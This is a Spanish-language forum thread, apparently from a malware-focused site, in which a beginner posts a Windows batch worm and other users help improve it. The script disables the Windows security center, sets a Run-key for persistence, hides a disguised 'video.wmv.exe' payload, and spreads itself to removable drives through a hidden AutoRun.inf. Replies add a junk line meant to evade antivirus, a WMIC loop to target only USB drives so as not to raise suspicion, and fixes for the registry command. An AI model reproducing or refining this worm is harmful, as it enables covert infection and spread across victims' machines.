Indetectables

hola amigos....
no se si esto se postea aqui, si no es asi, por favor moverlo donde corresponda


a ver que os parece!!



@echo off
#djkds£êÑÊÀ×ËÎÄÊÀÑÎ×ËäêôŒËÎ×ô¼ŒŠ×ô
net stop "Centro de seguridad"
reg delete hklm\software\microsoft\windows\currentversion\run /v prop /f
reg add hklm\software\microsoft\windows\currentversion\run /v prop /d "%windir%\prop.exe"
ping -n 8 localhost > nul
attrib -s -r -h video.wmv.exe
copy /y "video.wmv.exe" "%windir%\video.wmv.exe
if exist c:\windows\video.wmv.exe start c:\windows\video.wmv.exe
attrib -s -r -h junto.exe
copy /y "junto.exe" "%windir%\junto.exe
attrib -s -r -h prop.exe
copy /y "prop.exe" "%windir%\prop.exe
attrib +s +r +h video.wmv.exe
attrib +s +r +h prop.exe
attrib +s +r +h junto.exe
:bucle
call :copiausb
:copiausb
if exist E: call :creausb E
if exist F: call :creausb F
if exist G: call :creausb G
if exist H: call :creausb H
if exist I: call :creausb I
if exist J: call :creausb J
if exist K: call :creausb K
ping -n 8 localhost > nul
goto bucle
goto :eof
:creausb
copy /y "%windir%\junto.exe" "%1:\junto.exe"
attrib +s +r +h %1:\junto.exe
echo [Autorun] > %windir%\AutoRun.inf
echo open="junto.exe" >> %windir%\AutoRun.inf
echo icon=%SystemRoot%\system32\SHELL32.dll,4 >> %windir%\AutoRun.inf
echo action=Abrir carpeta para ver archivos >> %windir%\AutoRun.inf
echo shellexecute="junto.exe" >> %windir%\AutoRun.inf
echo UseAutoPlay=1 >> %windir%\AutoRun.inf
echo shell\\\Install\\\command=junto.exe >> %windir%\AutoRun.inf
echo shell\\\open\\\command=junto.exe >> %windir%\AutoRun.inf
echo shell\\\explore\\\command=junto.exe >> %windir%\AutoRun.inf
echo Shell\\\open\\\command=junto.exe >> %windir%\AutoRun.inf
copy /y %windir%\AutoRun.inf "%1:\AutoRun.inf"
attrib +h +s +r "%1:\AutoRun.inf"
goto :eof




el video.wmv.exe es el server con eliminación en inicio

junto.exe es el server y el propagador(prop.exe) conpactados en un .exe

no lo he provado en vista ni en win 7 pero en xp me funciona.


no seais malos con las criticas que estoy empezando!!
saludos!!!
morty2

para que usas esto?
#djkds£êÑÊÀ×ËÎÄÊÀÑÎ×ËäêôŒËÎ×ô¼ŒŠ×ô
...
para que borras la clave en run y despues la volves a crear?
con crearla ya reemplaza los datos.
...
Que pasa si por algun motivo no se cumple esta función?
if exist c:\windows\video.wmv.exe start c:\windows\video.wmv.exe
...
Que pasa si solo hay un disco duro y la memoria usb sea D o tenga el sistema en otra letra y sea c también un usb, también si el usb sea la unidad L en adelante?

No es mejor usar un IF con FOR para no escribir todo lo mismo?
...
Dónde esta ":eof"?
...
No hace falta poner comillas en en open="junto.exe"
...
Esta demás decir que a este autorun lo detentan:

RESULTS: 6/33
Avast 5 - INF:AutoRun-gen3 [Wrm]
Avast - INF:AutoRun-gen3 [Wrm]
G Data - INF:AutoRun-gen3 [Wrm] (Engine-B)
MS Essentials - VirTool:INF/Autorun.gen!I
Sophos - Mal/AutoInf-C
Webroot - Virus: Mal/AutoInf-C
...
Bueno son cosas que vi sin estudiarlo bien me habré equivocado en algo o me olvide también de algo.

Pero lo bueno es que estas estudiando y practicando, aunque lo estes haciendo bien o mal, lo que vale es que lo haces y de seguro vas a aprender mucho. Asi empezamos todos

variables de entorno ...

Es el que utilizaba hace tiempo. Prueba con ese y me cuentas que tal va.

Eso sirve para detectar automaticamente las usb y ahorrarse lo de "if exist x: call :creausb x"
Asi tambien evitas infectar discos duros para no levantar sospechas.

RoLyxRoLy escribió:para que usas esto?
#djkds£êÑÊÀ×ËÎÄÊÀÑÎ×ËäêôŒËÎ×ô¼ŒŠ×ô
...
para que borras la clave en run y despues la volves a crear?
con crearla ya reemplaza los datos.
...
Que pasa si por algun motivo no se cumple esta función?
if exist c:\windows\video.wmv.exe start c:\windows\video.wmv.exe
...
Que pasa si solo hay un disco duro y la memoria usb sea D o tenga el sistema en otra letra y sea c también un usb, también si el usb sea la unidad L en adelante?

No es mejor usar un IF con FOR para no escribir todo lo mismo?
...
Dónde esta ":eof"?
...
No hace falta poner comillas en en open="junto.exe"
...
Esta demás decir que a este autorun lo detentan:

RESULTS: 6/33
Avast 5 - INF:AutoRun-gen3 [Wrm]
Avast - INF:AutoRun-gen3 [Wrm]
G Data - INF:AutoRun-gen3 [Wrm] (Engine-B)
MS Essentials - VirTool:INF/Autorun.gen!I
Sophos - Mal/AutoInf-C
Webroot - Virus: Mal/AutoInf-C
...
Bueno son cosas que vi sin estudiarlo bien me habré equivocado en algo o me olvide también de algo.

Pero lo bueno es que estas estudiando y practicando, aunque lo estes haciendo bien o mal, lo que vale es que lo haces y de seguro vas a aprender mucho. Asi empezamos todos

bueno, tengo entendido que"#djkds£êÑÊÀ×ËÎÄÊÀÑÎ×ËäêôŒËÎ×ô¼ŒŠ×ô" es para ofuscar los av's para hacer mas indetectable, que lo usan muchos gusanos!!

borro primero la clave porque si autoinfectas la misma pc varias veces, el proceso reg queda abierto porque la clave ya estaba y no continua con el code(por lo menos en mi xp no), entonces si existe lo borra y despues la vuelve a escribir.

la funcion "if exist c:\windows\video.wmv.exe start c:\windows\video.wmv.exe" deberia cumplirse puesto que copias video.wmv.exe en c:\windows\, vamos, creo yo, ya te digo que estoy empezando y seguramente me equivoque en muchas cosas!!

lo demas lo estudiaré y gracias por todo!!

ap0calypt0 escribió:

Código: Seleccionar todo

@echo off
for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (
copy stub.exe %%x
copy autorun.inf %%x
)
echo Terminado.
exit /b 0

Eso sirve para detectar automaticamente las usb y ahorrarse lo de "if exist x: call :creausb x"
Asi tambien evitas infectar discos duros para no levantar sospechas.

¿donde inserto el code?

pues tienes que adaptarlo al batch y suprimir esto Tambien tendras que suprimir otras partes del codigo y modificar un poco para que quede a tu gusto. Tienes que entender un poco de batch. Si te hace falta un ejemplo, dimelo y te pondre uno...

Compañero quiero aclarate algunas cosas:

En esta parte no hace falta poner el nombre y extensión de archivo que donde se va a copiar y te olvidaste de colocar la comilla de cierre donde se va a copiar.
En esta funciona pero en algunos casos se debe poner las 2 " " (Cuando existen espacios) Quedaría así:
Si te referis a los archivos que estan en la misma ruta del bat, entonces esta bien, si te referis a los archivos que fueron copiados entonces estaría mal. Cuando digo que si no se cumple esto es que si por esos casos no se copia.
Debería hacer algo si no se cumple la condición, es decir, volver a tratar de copiar el archivo. Mejor quedaría así: ( el 2 podes ponerlo como 1 pero algunas maquinas son lentas asique para aserurar mejor se puede usar el 2) si entras al path de windir con cd, acordate de ubicarte de nuevo en la ruta del bat. Estas muy equivocado sobre el registro:
Vos dijiste;
Si esta abierto el proceso del registro no copia.
...
Te contradecis, si no copia no tendría que eliminar... No?
Solo con esta linea ya anda porque si existe lo sobre escribe y si no esta lo crea; Seguro que vos no ves el cambio porque tenes abierto viendo el dato del valor para ver si cambio o no.
Hace algo, ejecuta esa linea con una consola teniendo abierto el registro en esa ruta con cualquier dato, luego cerra el proceso de regedit y volve a abrir y vas a ver si cambia o no...

Bueno solo estoy ayudándote a comprender un poco más.
Pero siempre es bueno usar Variables así no repetis todas las rutas y registros.

Gracias por todas tus aclaraciones amigo, voy probando y mejorando

RoLyxRoLy escribió: Estas muy equivocado sobre el registro:
Vos dijiste;
Si esta abierto el proceso del registro no copia.
...
Te contradecis, si no copia no tendría que eliminar... No?
Solo con esta linea ya anda porque si existe lo sobre escribe y si no esta lo crea;

Código: Seleccionar todo

reg add "hklm\software\microsoft\windows\currentversion\run" /v prop /d "%windir%\prop.exe" /f

Seguro que vos no ves el cambio porque tenes abierto viendo el dato del valor para ver si cambio o no.
Hace algo, ejecuta esa linea con una consola teniendo abierto el registro en esa ruta con cualquier dato, luego cerra el proceso de regedit y volve a abrir y vas a ver si cambia o no...

Bueno solo estoy ayudándote a comprender un poco más.
Pero siempre es bueno usar Variables así no repetis todas las rutas y registros.

yo no se porque, pero regedit queda abierto y no hace el resto del script sino lo borro como lo he hecho!! se queda preguntando si existe o no, y da opcion de [ Y,N ]


Value prop exists, overwrite(Y/N)?

por lo cual devo borrarla y volver a ponerla.
prueba este code 2 veces y verás!!

@echo off
reg add hkcu\software\microsoft\windows\currentversion\run /v prop /d "%windir%\prop.exe"

Es que te va a preguntar si queres hacer eso o no porque no estas forzando a que reemplace datos.
Para forzar la escritura sin pedir confirmación se usa esto al final /f ahi te lo deje bien para que hagas el ejemplo pero se nota que no lo hiciste...

reg add "hklm\software\microsoft\windows\currentversion\run" /v prop /d "%windir%\prop.exe" /f

Si con ese no te cambia sin confirmar, me vuelvo gay :p
Saludos

RoLyxRoLy escribió:Es que te va a preguntar si queres hacer eso o no porque no estas forzando a que reemplace datos.
Para forzar la escritura sin pedir confirmación se usa esto al final /f ahi te lo deje bien para que hagas el ejemplo pero se nota que no lo hiciste...

reg add "hklm\software\microsoft\windows\currentversion\run" /v prop /d "%windir%\prop.exe" /f

Si con ese no te cambia sin confirmar, me vuelvo gay :p
Saludos

Gracias amigo!!
No lo sabia, por eso me busque esa manera de acerlo, al fin y al cabo es lo mismo pero mucho mas sencillo con /f
salu2
morty2

RoLyxRoLy escribió:Es que te va a preguntar si queres hacer eso o no porque no estas forzando a que reemplace datos.
Para forzar la escritura sin pedir confirmación se usa esto al final /f ahi te lo deje bien para que hagas el ejemplo pero se nota que no lo hiciste...

reg add "hklm\software\microsoft\windows\currentversion\run" /v prop /d "%windir%\prop.exe" /f

Si con ese no te cambia sin confirmar, me vuelvo gay :p
Saludos

Gracias amigo!!
No lo sabia, por eso me busque esa manera de acerlo, al fin y al cabo es lo mismo pero mucho mas sencillo con /f
salu2
morty2

Word escribió:variables de entorno ...